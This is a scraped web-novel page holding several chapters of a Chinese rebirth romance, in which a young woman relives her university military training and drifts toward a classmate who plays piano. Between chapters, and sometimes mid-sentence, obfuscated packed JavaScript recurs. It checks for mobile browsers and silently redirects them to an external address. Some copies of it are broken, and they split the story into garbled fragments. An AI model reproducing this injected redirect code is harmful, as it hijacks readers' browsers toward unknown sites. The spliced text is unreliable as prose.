0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738882|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要原因是为了积德,但是她有预感,负责招新的许家杭师姐这么平易近人,她一定能在这个社团里玩得好。 “对了,”林舒又想起什么,问道,“上次跟我一起的男生,他交表格了吗?” 许家杭刚想说话,就被一旁的师兄打断了:“他交了。” “他是什么部门?”林舒问。 师兄从许家杭手里接过林舒的报名表,看了一眼:“跟你一样,都是社实部,到时会电话通知你们面试时间和地点。” 林舒走后,许家杭对师兄说:“我刚刚整理报名表时,明明看到他那份的‘意愿部门’那一栏是空着的。” 师兄:“他是故意空着的,拜托我填上跟这个女生一样的意愿部门。” 林舒当然不知道这些,她欢欢喜喜地提着麦当劳回到校医室,美滋滋地享用着汉堡包。 汉堡只是普通的汉堡,但是在摸鱼时间吃就显得特别美味。 她正吃得开心,突然觉得房内光线暗了暗。这大白天的,又没拉窗帘,怎么会暗呢?带着疑惑,她看向窗户—— 窗外站着一个凶神恶煞的男人,他双手叉腰,一脸怒气地瞪着她。 “杜教官?”林舒手捧汉堡,嘴巴还在嚼。 杜教官“哼”了一声,转身离开窗前。 林舒刚咽下嘴里的汉堡,门外就传来蹬蹬蹬急促的脚步声,伴随着杜教官的质问:“好了不去训练,在这偷吃麦当劳?” 既然都被现场抓包了,林舒干脆破罐子破摔:“杜教官,吃薯条吗?” 杜教官本来是怒气冲冲地进来,没有预料到林舒不按常规出牌,竟乖乖顺着她的话回答:“不吃。” “哦,那你不吃,我吃。”林舒说完,拆开番茄酱开始吃薯条。 这让杜教官一时不知道该做什么,垂首站着,有些尴尬。 “杜教官,你站那不累吗?进来坐坐吧。”摆烂后的林舒愈发胆大,“不爱吃薯条的话,你吃炸鸡吗?我这还有个鸡翅,可香了。” 杜教官进门前原本准备了一堆批评的话,现在被噎得说不出来,又不能真的上前拿块炸鸡吃。半晌,他才憋出一句话:“你身体怎么样?” “等我吃完,我就应该好了。” “那就是说,你待会就能回去训练了?” “应该吧。”林舒含糊不清。 杜教官循循善诱:“林舒,你知道吗?你们每个人都很重要,只有250个人都在才叫短棍队,少一个都不算。” 林舒:“确实,少一个人确实不算二百五了。” 杜教官动之以理晓之以情:“少了你,你的搭档只能自己练,别人在练过肩摔的时候,她只能等别人练完再跟她练。” 林舒:“那练两次的女生真的挺惨的,她要被两个人摔。” 杜教官:“……” 这时,林舒吃完最后一根薯条,她一边吃着炸鸡一边走出房间:“走吧杜教官。” 杜教官:“你肯回去训练了?” 林舒:“那不然呢,外号黑面神的杜教官都站着等我吃薯条了,我不走就太不给面子了吧。” 杜教官笑了:“今晚我们搞个联谊活动,男生最多的专业和女生最多的专业联谊一下,让大家放松放松。” “最多男生的专业是什么?”林舒问。 “计算机科学与技术。” 林舒拿着炸鸡的手一停,是陈彦森的专业。 8. 第四世(五) 林舒在主席台下盘腿而坐,杜教官和洪教官激昂地说了什么、其他同学上去表演了什么她一概不知。一开始,她还附和着鼓掌,伸长脖子去看陈彦森坐在哪,但没过多久她就开始犯困。 她体质一向很好,但今天不知为什么,中暑后她就觉得人特别累,有点缓不过神来。 她斜斜靠在李洛诗身上,闭目养神。 这时,杜教官举着麦克风说:“还有哪个班没派代表上来呀?大家积极点,热闹起来。” 洪教官:“八班是不是还没上?快,快派出一位代表。” “八班班长上!”一个男生喊道。 “班长班长班长班长!”十几个男生齐声喊。 洪教官:“那就班长上——陈彦森,快上来。” “陈彦森”三个字像一个开关,让林舒噌一下张开了眼睛。 操场很大,灯光分布散,环境偏暗,陈彦森从一群坐着的人当中站起来,笔直走向主席台上的钢琴,像画卷中的人走了出来。 他这一动,女生这边传出低低的惊叹声和讨论声。 “我们学校居然还有这么帅的男生?” “这反驳不了,这是真的帅。” “他这腿……比我命还长。” “待会看看他坐哪,等结束后找他要微信。” “绝了,人长得帅就算了,居然还会弹钢琴。” 而林舒则陷入沉思中。 她认真回忆第一世的大学生活,即使第一世她没进青协没遇到他,那他作为同校同学、刘沐鑫的舍友、军训联谊时上台表演的钢琴帅哥,应该多多少少都在她身边出现过不止一次,可为什么她会一点印象都没有呢?难道这叫现实版的从她全世界路过? 更何况..... 此时陈彦森的双手落在白键上,前奏响起—— 弹的是林舒最喜欢的《花之舞》。 林舒极其喜爱这首曲子,是在街上听到都会驻足的喜爱,是第一世高一时无意间听到余嘉城弹了这首曲子后开始关注他的喜爱。 小时候她很喜欢钢琴,特别羡慕会弹钢琴的人,去超市看到电子琴都会忍不住弹几个音,但是家里没这个条件,她也懂事地没有提起。 小时候未能实现的梦成为一颗种子,随着她成长,也壮大成树。她尤其关注会弹钢琴的人,但她竟不知道陈彦森会弹钢琴,而且弹得这么好。 一曲终了,她站起来鼓掌。啪、啪、啪啪啪,一开始是寥寥几声鼓掌,接着是密集的、如排山倒海式的掌声,持续了将近半分钟。 好的音乐能与人交流,让人产生共鸣。陈彦森做到了这一点。 就在林舒沉浸式鼓掌之时,洪教官指着她说:“那个站起来的女生,你上来表演。” 林舒:“?” 杜教官:“林舒,叫你呢。” 都被点名了,林舒只好硬着头皮走到中央,对杜教官讪笑道:“我没什么才艺,要不我翻跟头吧?” “别别别,千万别,你下午才中暑了,再翻跟头我怕你晕在这了。”杜教官慌了,“如果实在没有才艺就下去吧。” 杜教官本意并不是激将法,但他这一说反而激起林舒骨子里的叛逆因子:“谁说我不行了?我今天还非得翻跟头了。” “林舒,”台上的陈彦森突然开口,“要不你唱歌吧,我给你伴奏。” “唱歌?” 也不是不行,但现在是2015年,有什么她会唱的歌是15年之前的?这可得好好选歌,免得露馅了。 她握着话筒想了一阵子:“你会弹叶蕴仪的《哪儿》吗?” 这是一首90年代香港儿歌,几乎每个南苑人小时候都听过且会唱,但她不知道陈彦森会不会弹。 “会。”陈彦森点点头。 舒缓的前奏自陈彦森指尖流出,林舒举起话筒。 国语堂让我知鸟儿歌唱 喜报天亮 数学堂又说星数目难知道 我每夜望但见空荡 …… 书本中有农场 抬头只得操场 世界哪儿有着 农夫在插秧 天空不见月亮 月亮躲于高墙 也许羞愧 再比不上晚灯光 小时候听多了,林舒自然就会唱,但因为太熟悉了,反而从来没留意这首歌讲的是什么。今天认真唱起,才发现讲的是这样一个故事。 她在千禧年后的某一个午后醒来,是小学二年级,学业不重,下午一节音乐课一节信息课。音乐课学完新歌曲后,老师组织大家玩游戏,今天玩的游戏是击鼓传花,钢琴声停下,花球在谁手上,谁就要上台讲笑话;信息课上用金山软件练习打字后是自由时间,同桌玩踩地雷游戏,她翻开最新版的《知音漫客》,津津有味地看起来。 放学后,她将同学借给她的《冒险小虎队》放进书包前,仔细检查了书中夹着的透明解密卡还在不在,这可不能丢,丢了就看不到答案了。她跟同学一起去买两块钱一杯的珍珠奶茶,五颜六色的奶茶粉装在各个塑料罐子中,在孩子眼里是世界上最好喝的饮料。 她们捧着奶茶,蹦蹦跳跳来到秘密基地,捉迷藏、跳皮筋、抓人游戏、到池塘里抓蝌蚪,玩一身汗回家。推开门,电视机播着她最喜欢的《魔法咪路咪路》,妈妈端着饭菜,对刚进门的她笑着说:“回来啦,洗洗手就可以吃饭啦。”爸爸则接过她肩上的书包,愉快地问:“今天过得开心吗?” 那时候总觉得一天很长很长,长到可以做这么多件事。 那时候爸爸妈妈还很年轻,他们担起生活的责任,她的世界只有学习和玩耍,过得开心是头等大事。 那时候的人们面对新旧事物的抗衡和冲击,保有旧时代的质朴、真诚、耐心和责任感,同时也享受着新时代带来的机遇,心中都抱有期待,相信生活会在辛勤努力下越来越好。 二十年后,他们都过上曾经期待的生活吗? 二十年后,她过上曾经期待的生活吗? 当时每天过得没心没肺的她一定想不到,二十年后的自己会被困在那个冬夜里,无助地挣扎着,直到耗尽力气死去。 现在的一切是真的吗?会是她在临死前留给自己的最后一个梦吗? 表演结束后,林舒呆坐着,情绪低落。 手机屏幕在这时亮起,将她拉回现实。 陈彦森:【今晚一起吃宵夜吗?】 她眨了眨眼,信息又增一条:【给你舍友创造机会。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738883|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两条信息就像往飘在半空中的她身上绑重重的铅球,将她一下子拉回地面,重获站在坚实土地的实感。 她回想起自己在亡魂服务中心对老婆婆说:“我要回去救她。” 对,她这次回来,最主要的目的就是为了修正她的人生。 林舒稍微从低落的情绪中抽离出来,低声问舍友们:“陈彦森问待会要不要跟他们一起吃宵夜。” 她用手肘轻轻撞李洛诗,调皮地眨眨眼:“说是给你创造机会。” 庄路瑶一听可激动了:“那肯定去啊!赶紧答应他!” “等一下!”李洛诗紧张地拉住林舒的手臂,阻止她回复信息,“我今天好看吗?” 林舒凑近,认真端详着,直到把李洛诗盯得害羞地垂下眼眸,才夸赞道:“你每天都很好看,今天尤其好看。” “真的?”女孩脸颊红粉菲菲,长且密的睫毛微微颤动。 “骗你是小狗。” …… 林舒拜托隔壁宿舍的同学将她们的水管带回去,撩起饭堂塑料门帘时,被那七人吓了一跳。 许是为了助攻,但又不想显得目的性过强,所以造成如今1V1局面,即刘沐鑫的对面是李洛诗,庄路瑶和程芯的对面分别是陈彦森的另外两个舍友,而陈彦森对面是空着的。 她走向陈彦森对面空位时觉得特别怪异。 怎么说呢?就很像……商场里的极速约会。 一张长条形桌子,两边放着同色系的椅子,男生坐满一排,对面是同样坐满一排的女生。一对男女面对面而坐,他们交谈的时间大概是十分钟。十分钟后,男生按顺序移动座位与下一位女生交谈,如此重复直至男女之间都一一交流过。 因此,林舒在陈彦森面前坐下时,神情有点不自然。 陈彦森察觉到她的异样,问道:“你不舒服吗?” 倒也不是,只是觉得尴尬。 但她又不能真这么说,只好否认:“没有。” 陈彦森将放在一旁的绿豆沙推到她面前:“你今天中暑了,吃点解暑的吧。” “你怎么知道我中暑了?” “你们教官说的。” “哦……对哦。” 她吃了两口,又抬起头,“你居然会弹《哪儿》。” 陈彦森:“你高一军训时唱过。” 他的语气很淡,没有任何起伏,像是说起一件很寻常的事情。 但林舒十分震惊:“有这回事?” 怪不得当时她第一反应就是唱这首歌。人在情急之下浮现出的,都是脑海中最底层的记忆。 陈彦森看她一眼:“你自己的事情都不记得了?” 这对于陈彦森来说是三年前的事情,但于林舒而言是十二年前的事,遥远得像上辈子的事情了。 “我记性不好。”林舒打哈哈过去。 坐一旁的李洛诗听见,从自己的核桃桂圆汤里舀出两块核桃,放在林舒的勺子上,笑道:“那给你补补脑。” 林舒被她逗笑了,听话吃下。甜甜的绿豆沙与稍带涩味的核桃混在一起,有一种别样的味道。她一边嚼一边听着他们欢快聊天,这些人此刻真切地坐在她身旁,她真切地感受到被关心与爱护,那这一切就是真的。 9. 第四世(六) 第二天训练集合前,林舒坐在树荫下休息。 不知是不是身体随心态变化而变化,她觉得自己现在空有一副18岁的身体,却没有18岁年轻人应有的体质。跟第一世比起来,她容易疲惫和犯困,因此,自昨天中暑后,她现在是逮住一切机会抓紧休息。 正当她昏昏欲睡时,有人从后面拍了拍她的肩膀。她懒懒地回头,看到一双脚,顺着这双脚往上看,目光瞬间定住。 太阳光斑星星点点落在他身上,他一眨眼,睫毛像是会跳动的小精灵般,在阳光下震动透明的翅膀。 微风轻拂而过,乌桕树叶片发出簌簌的低吟,同学们的说话声被传递到远方,树下的女生仰着脸,男生微微俯身,他们与周遭一切隔绝开来,眼中只有彼此。 林舒心口一顿,被他的美色撞醒了。 她意识到自己看得呆住,想说点什么掩饰一下,条件反射说出每一个早晨的社畜都会说的话。 “早。” 且伴随着礼貌中带点坚定的点头。 “林舒,早。”陈彦森嘴角泛起一抹笑意,这让他看起来跟平日里很不一样,“给你的,电解质水。” “谢谢。” 林舒接过他递来的水瓶,两人同时张嘴想说话,急促的哨声响起,各教官开始催集合,打断了他们。 陈彦森只得匆匆道别,走了两步忍不住回头叮嘱道:“如果觉得不舒服要跟教官说。” 她朝他笑着点点头,低头看了看瓶身上贴着一张粉色的长条形便利贴,上面端正写着“林舒”两个字,又不自觉地笑了。 他跟传闻真的很不一样。 …… 短棍队是所有队伍中最辛苦的,动作多、难度大、要求高、休息时间少,一天下来她们都快累虚脱了。 林舒跟着大伙把日子过成三点一线,操场——饭堂——宿舍,每天就顾着训练、吃饭和睡觉,连手机都没时间碰。 手机三天一充,这在2024年机不离手的时代是根本无法想象的。 然而很奇怪的是,虽然现在每天身体都很疲惫,但是心不累,这跟工作不一样。在办公室里坐一天,身体不一定有多累,但是心累,连带着整个人都提不起精神。 林舒将活络油倒在手上,用力搓被摔疼的左肩直至发热,一股奇特的酸爽感席卷全身。她突然觉得,如果能永远停留在这个时期也挺好的。 她以前看过一部叫《EU超时任务》的电视剧,剧中女主有一段重复穿越三日的奇幻经历,每次都会从4月3日回到4月1日。 她当时想,如果她也有这样的能力就好了。她可以每次从10月7日回到10月1日,这样就可以永远休息和玩耍,还不用担心没钱花。 直到现在她真的拥有类似的能力,才开始思考女主在片头说的最后一段话是什么意思。 女主说:“当维护使命和任务带来痛苦、悲剧,我需要希望和奇迹。凭着穿越奇迹,我以为我可以掌握一切,但生命的变幻又有谁可以掌握。” 林舒拆开刚拿回来的快递盒,取出一个红色的安全锤。 自她重生回来见到陈彦森那双健全的腿,她就上网下单了一个安全锤。 她只是一个普通人,没有像《EU超时任务》里女主要破案揪出幕后黑警的目标,更没有像重生剧中的主角那样有拯救世界的志向。她只想好好活着,救下李洛诗,保住陈彦森的双腿,好好积德,平平安安度过一生。 就是这么朴素而简单的愿望,希望上天垂怜给她希望和奇迹吧。 翌日,陈彦森仍在同一时间给她带来电解质水,林舒顺便把安全锤交给他。 陈彦森认真研究,问:“这是什么?” “安全锤。当你被困在车里时,你可以用自带的割刀割断安全带,再打破玻璃窗。注意,”林舒比划着,“一定要对准车窗的角落打,不要打中间。” 陈彦森觉得奇怪:“为什么要给我这个?” “生命无常,有备无患。”林舒见他一直拿在手里摆弄,便直接拿起塞进他的上衣口袋里,“你每次出门都要带着,记住,每次都要带着。” “军训也带吗?” “带。谁也保不准你会不会突然要坐车,只要出门就要带着。” “好,”他深深看了她一眼,“我会随身带着。” “那我先去集合了。” “拜拜。” 林舒回到队伍中找到自己的位置站好,看到站在前排的庄路瑶跟几个女生盘腿席地而坐,围着草地上画的一个奇怪符号,双手合十放在额头,虔诚拜下。 “你们这是在干什么?”林舒问。 “求雨。”庄路瑶说,“林舒,你也跟我们一起。” 林舒抬头看艳阳高照万里无云,发出质疑:“真的有用吗?” 庄路瑶:“心诚则灵,我们的举动会感动上苍的。” 就在林舒犹豫要不要跟着拜上两拜时,杜教官的声音从头顶传来:“在干嘛呢?” “杜教官。” 参与者迅速起身,围观者迅速撤离,一眨眼的功夫,草地上只剩下那奇怪的符号。 杜教官踱步围着符号绕了一圈,用探究的眼神看向众人:“你们这是在求雨?” 人群中不知是谁大声应道:“对!” 众人朝声音传来的方向望去,每个人脸上都憋着笑。 杜教官耸了耸肩:“集合!” 上午训练结束,她们吃完午饭后回宿舍午休,下午两点准时出现在操场继续下午的训练。 下午两点的太阳是一天中最毒辣的,林舒站在太阳底下,听着衣服料子被太阳烤得发出滋滋冒烟的声音,小声问庄路瑶:“不是说求雨有用吗?这太阳怎么还这么大啊?” 庄路瑶小声说:“这个符号是师姐教我画的,她说有用的,再耐心等一下。” “还等?”林舒觉得她快要自燃了。 大家听着教官的口令,有气无力地挥着短棍,盼着下一次休息的时候多喝几口水,还要去附近的水龙头处洗把脸,那里的水龙头没被太阳照射到,水很清凉。 忽然,不知是从哪个方阵传出一声惊呼:“下雨了!” 下雨了?众人纷纷抬起头,张开手掌感受雨滴。 林舒脱下帽子仰起脸,一滴,两滴,三滴,有水珠落在她的眉间、鼻梁上、嘴唇间。她看向庄路瑶:“不是幻觉?” 毕竟现在烈日当空照,哪像是下雨的样子? “继续训练,”杜教官提高音量,“这么大的太阳,哪来的下雨?” 方阵中有个女生不服气地反驳:“杜教官,真的下雨了。” 杜教官:“这么小的雨点,还没到要避雨的程度,继续练!” 他话音刚落,天边响起轰隆一声,雨势突然加大,密集的雨点噼里啪啦砸下,滚烫的地面发出“滋”一声声响。 “杜教官,好大雨!可以避雨了吗!”有人喊道。 杜教官走去隔壁方阵与其他教官商量了两句,走回来摆了摆手,“走,我们去A区体育馆。” “芜湖!” 短棍术方阵像一群没人管的鸭子,撒开脚丫子飞奔去体育馆。 来到体育馆,馆内已有一个方阵在里面避雨,林舒一边喘气一边从他们面前走过。 “林舒。”有人喊她。 她循声望去,陈彦森在人群中举起手向她示意:“你要纸巾吗?” 她现在全身都是湿的,湿的手擦湿的脸,越擦越湿,于是点点头:“要。” 他一边跟前排的同学说抱歉一边从人群中挤出来,从口袋里掏出一包纸巾,见她脸色苍白,眉心一紧:“你不舒服?” “还好。”话是这么说,但她已经有气无力了。 陈彦森抽出一张纸巾,俯下身凑近她。 他突然凑这么近,她好不习惯,很自然地后退一步。 对方却由不得她后退,伸手搭在她的肩上,稍稍用力将她带回刚刚站的地方,“给你擦脸。” 他抬起手,纸巾轻轻落在她的脸上。他的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738884|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作很轻,似是怕弄疼了她,先是帮她擦了脸颊上的水,接着擦了擦睫毛。 两人靠得很近,他轻轻的呼吸落在她的脸上,有点酥痒。这种近得能够感觉到另一个生命在跳动是非常亲密的事情,让她在那一瞬间慌了神。她从他手里抢过纸巾,丢下一句“我要回去了”便匆匆离开。 林舒走得太突然了,陈彦森的手还停在半空中,指尖似乎还停留着她的温度和潮湿。 刘沐鑫走上前,拍了拍陈彦森的肩膀,笑道:“别看了,人已经走了。” 陈彦森仍看着她的背影,后悔自己的冲动:“我是不是吓到她了?” “我觉得倒不至于,只是她可能还需要点时间吧。”刘沐鑫说,“毕竟你也说了,她过去三年里只看得见那个人。” “那你现在跟她舍友进展如何?”两人走回方阵的时候,陈彦森问。 刘沐鑫:“她们短棍队太忙了,我想等军训结束后多跟她接触接触。始终是要多接触,才清楚双方心意,才知道双方是否适合。” 见陈彦森不说话,他又说:“慢慢来,三年你都等得了,不急于一时。” 杜教官走进来:“安静安静。” 洪教官:“大家都坐下吧。” 两个方阵的学生们一听不用训练,哗啦啦地倒下一大片,林舒跟着大家坐下,做了几个深呼吸后觉得好多了。 暴晒后淋雨,再加上剧烈跑动,她有点吃不消,但最让她感到不适的是其实是这个体育馆。 A区体育馆是羽毛球馆。第一世的时候,林舒、李洛诗、刘沐鑫和余嘉城经常来这里打羽毛球,他们挥洒汗水,留下青春的印记。林舒还记得某一次午后,她从这里往外看,天空纯净得像没有风吹过的湖面。 林舒发现自己还是会时不时想不起他。这与爱无关,也并非舍不得,可能因为他一直存在于她的青春中,许多珍贵的美好瞬间里都有他的身影,导致她出现“睹目思人”的情况。 在她胡思乱想的时候,杜教官的大嗓门将她的思绪拉回来:“我们唱歌吧,《团结就是力量》。来,团结就是力——量,预备,起!” 首先是计算机专业的男生方阵中传出稀稀拉拉的跟唱声,接着跟唱的人越来越多。 林舒一开始觉得有些难为情,但她环顾四周,看到一张张洋溢着青春和朝气的脸蛋,被深深地感染了,也跟着大声唱了起来。 《团结就是力量》是一首很神奇的歌,平日里传唱度不高,但每到9-10月,当各大学校开始军训后,这首歌会被广泛传唱,成为一届又一届学生对于军训的独家记忆。 林舒突然想起在第一世里的大学军训期间,在某个夜晚,短棍队围坐在一起唱这首歌,唱出女子气势。 此刻在这个A区体育馆内,男生宽厚的声音与女生坚柔的声音糅杂在一起,碰撞出不一样的花火。 林舒有了新的经历。以后提起这里,她可能率先想到的是大家浑身湿透坐在地上,大声地唱着歌。 过去已然过去,不必否认,而是用新记忆覆盖旧记忆。 …… 十几天的军训生活转瞬即逝。 9月29日上午,短棍术方阵结束表演,林舒人生中最后一次军训完美落幕。 大一新生下午都没课,林舒拉着行李箱欢快地走出校门,一眼就看到来接她放学的爸爸妈妈。 看到年轻了九年的爸爸妈妈,她一时感慨,冲上前抱住丁敏:“妈咪!我好想你啊!” 丁敏把她的脑袋从自己身前掰开,将她从头到脚扫视一遍,最后目光落在她手里的水管上:“打狗棒?我还以为……” “你以为见到丐帮帮主了对吧?”林舒抢先回答,然后撒娇道,“我好饿好饿好饿。” 林不帆把她的行李箱放进车尾箱,宠溺地摸摸她的头:“快上车吧,回家吃爸爸给你做的拿手好菜。” “真的吗?” 林舒喜出望外,人是钻进后座,但是脑袋一直往前挤,小嘴叭叭地说,没有留意到手机屏幕亮起来。 10. 第四世(七) 林舒看手机时,高一班级群消息已显示99+。 她花了点时间把消息大致看完,是高一班长余热组织大家明天回高中探望老师。一开始有零星几人附和,后来不知是谁带偏了话题开始聊起刚结束的军训,便没人再提起回校看老师的事情。 退出班群,余热的信息弹出来:【林舒~】 余热是她高中时期最好的朋友,三年同桌兼舍友,帮她打过不少掩护,包括但不限于:上课写作业、晚自习翻墙出去买宵夜、带头抗议冬至不放假等。要不是余热,林舒可能会被老师要求把座位搬去办公室。 林舒秒懂:【我陪你回去。】 余热:【不够,只有你不够。】 林舒:【那我叫上祁相宜?】 祁相宜跟她们三年都在一个班和宿舍,关系也不错。 余热:【我已经叫上她了,但人还是太少了,要不你叫上余嘉城?】 林舒发了个拒绝的表情包:【我已经不喜欢他了,以后有他在的场合不会有我。】 余热:【?】 很快,她又发信息:【算了算了,我一直不明白你为什么喜欢他,现在你放弃了也好。】 林舒:【我可以试试问陈彦森去不去。】 余热:【校草?你什么时候跟他这么熟了?】 林舒:【还行吧,我们大学同校,说过几句话。】 大多数见面的时候,确实只说几句话,这也没骗人。 余热:【那我把这任务交给你了,明天务必将他带到。】 答应余热后,林舒去找陈彦森,原以为他会拒绝,没想到他秒回信息:【好。】 完成余热交代的任务后,林舒呈大字型躺在床上。 睡了大半个月宿舍的床,还是家里的床比较舒服! …… 第二天,到了约定时间,林舒站在高中校门口,在心里默默数人头,加上她一共有十个人。 林舒冲每个人甜甜地笑,名字到嘴边就是想不起来。面对一张张年轻的面庞,她对应到的却是他们27、28岁的时候。 这个男生她有点印象,他在朋友圈里晒娃,小孩子很可爱;还有这个女生,她参加孔院志愿者后留在南非,朋友圈皆是海天一色的美景,好不快活。 她现在就像一个登山者,走在众人前面,回头一看,看到的是他们的小半生。这种偷窥他人人生的感觉,并不好受。 她放慢脚步,走在最后面。 余热走在最前面,大声问:“林舒,陈彦森来了吗?” 林舒还没开口,就有人抢先回答了:“来了。” 林舒回过头,说话者刚好从拐角处走出来。黑色短袖,外面搭一件浅棕色的马甲,乍看是毫无章法的白色花纹,仔细一看是一只只小猫咪。俏皮的图案在一定程度上中和了他本身淡漠的气质,让他变得柔和。 “林舒。” 他定定看着她,一步步走向她。 现在是放学时间,又是放假前夕,学生们都在往校门口走。有的背着书包跑出校门,有的三三两两走在一起不知说了什么笑得前仰后合,有的手里拿着小册子边走边背。 恍惚间,林舒似乎看见15岁的自己背着书包,左手拉着祁相宜,右手牵着余热,欢快地朝校门走去。落日余晖落在她们的身上,发丝散发着金黄色的光芒自在飞扬,美好得无法用词语形容。她眨了眨眼,三人跑进夕阳里消失了,只留下阳光下细细的尘埃。 “林舒。”陈彦森腿长,几步便走到她面前。 “走吧,”林舒笑了笑,掩饰内心落寞,“就等你了。” 但她的情绪来得快去得也快,见到高一班主任宋老师和英语老师苏老师后,便一扫阴霾,热烈地交谈起来。 宋老师看到有这么多学生来看自己,高兴地说:“走,老师请你们吃饭去。” “谢谢老师!”众人欢呼。 “我就不去了,”苏老师说,“我得回去带孩子呢。” 她刚生完孩子不久,现在还在哺乳期。 “下次,”苏老师许诺,“下次你们回来,老师请你们吃东西。” 林舒知道,很难再有下次了。这次能凑到几个人一起回校已是不易,待过段时间,大家更加适应大学生活,都会怀着期待走向极具吸引力的的新生活,没人会回头。她知道,是因为她曾经就是这样。 但她不想扫兴,附和道:“苏老师,我们约定下次。” 一起走出校门时,苏老师说:“感觉你们都没怎么变过,倒是陈彦森好像变了不少。” “他变了?”林舒问。 “是啊,他高中时可顽皮捣蛋了,跟你一样,是办公室的常客。”苏老师笑道,“年级第一和第二都这样顽皮,当年你们宋老师可头疼了。” 她若有所思地说:“今天看到他,觉得他身上没有以前那性子了。” 林舒:“可能是长大了吧。” 苏老师摇摇头:“我认识他初中时的班主任,说他初中时虽然也不爱说话,但是非常乖巧听话。到了高中,突然就像变了个人似的,怎么捣蛋怎么来。我印象中大概是……第一次月考后?” “这大概是叛逆期吧?”林舒打趣道。 两人有说有笑走到门口,送走苏老师后,林舒跟着大伙去附近餐厅吃饭。 “可乐”过三巡,见大家都放筷子了,宋老师说:“我们来聊聊天吧——现在你们都已经长大了,有什么愿望吗?” 有个男同学抢先回答:“我想要当一名导演,你们现在可以找我签名,等我以后火了签名可就值钱了。” 祁相宜说:“我想当一名画家,背着画板周游列国。” 余热不好意思地笑了笑:“我不像你们,都有远大的抱负。我的愿望很小,我只想守着我的一亩三分地,跟喜欢的人一起生活,生一个健康可爱的宝宝。” 愿望会因你的期许而变得重要。 林舒眼眶有些热,你会实现的。 轮到林舒,她说:“2024年,我想跟爸爸妈妈一起过冬至。” 最后一个是陈彦森,他说:“希望大家的愿望都能成真。” “咦——”众人一片嘘声,纷纷说他的回答太官方不真诚。 陈彦森挑了挑眉,不作解释。 吃完晚饭,大伙互相道别散去。林舒到餐厅旁边的面包店买面包,刚跨出店门,就看到不远处有两个女生围着陈彦森不知说什么,后者摆了摆手戴上头盔,两个女生悻悻离开。 林舒一眼就猜出是什么事,小跑到他身边轻拍他的肩膀:“嘿!” 陈彦森回头看到是她,有些意外:“我以为你走了。” 林舒晃了晃手中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738885|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面包:“要不是我去买面包,还看不到我们校草被搭讪呢!” 她调皮地眨眨眼,继续说:“你怎么不给人家微信呢?多伤人心啊!” 陈彦森不说话,拿出另一个头盔就要往她头上戴。 “干嘛干嘛,”林舒连连后退,“逗你几句,你就要谋杀我了吗?” 陈彦森抓着她的手臂将她往自己身前一拉,接着将头盔戴在她头上,敲了一下头盔:“你的脑瓜子都想什么呢?走吧,送你回家。” 林舒被他这一拉,因为惯性向前冲了几步,差点撞到他胸前,心脏莫名砰砰直跳,面上却佯装淡定,继续逗他:“这头盔都不知给多少女孩子戴过。” 说着,她低下头系扣子。 她不是第一次系双D扣,但看不见扣子,只能单靠双手去摸索。带子穿过两个D形环后,她用另一只手撑开双环,奈何带子怎么都穿不过去。 眼前暗了暗,身前的人俯身,伸手接过她手中的带子。 两人靠得很近,近得林舒只要再仰头就会碰到他的头盔。她看不清他的表情,只看得见长且密的睫毛在路灯下轻盈地扇动着,一下一下,伴随着她的心跳也一下又一下加剧。 忽然,睫毛突然不动了,漆黑的双眸紧盯着她。 他神情认真,一字一句地说:“没有。” 林舒愕然:“啊?” 陈彦森:“这头盔,没有给其他女孩子戴过。” 原来他是在说这个。 随口一说的玩笑话,他这么认真地回答,这让她一时不知该作何反应。见他已跨坐上摩托,便也跟着坐上去。 “你家住哪?”陈彦森问。 “洛宁小区。”林舒答。 “坐稳了吗?”陈彦森又问。 林舒紧紧抓着座位两边,应道:“坐稳了。” 呜一声轰鸣,摩托引擎发动在一瞬间飞驰上路,林舒因为惯性整个人向前撞在陈彦森的后背上。两边的树木和房子疯狂后退,强风将她裸露在外的皮肤刮得生疼,她下意识搂住陈彦森的腰。 她在适应车速,没留意到被搂着的人僵了僵身子。 南苑最近刮台风,夜晚天气有点凉,但大家还是根据季节习惯穿着夏装。两人的衣服料子都很轻薄,她的脑袋靠在他的脖颈处,胸腔紧贴他后背,体温传递至他全身,他那被风吹冷的手慢慢热了起来。 他想减速,让归家路再久一点;又想加速,让她再靠近一点。 林舒下车的时候,踉跄了两步。她还未站定,便摘下头盔,气急败坏道:“干脆撞死我算了!” 这小子开车怎么比27岁猛这么多? 要不是她反应快一下抱紧他,怕是要被甩出去了。 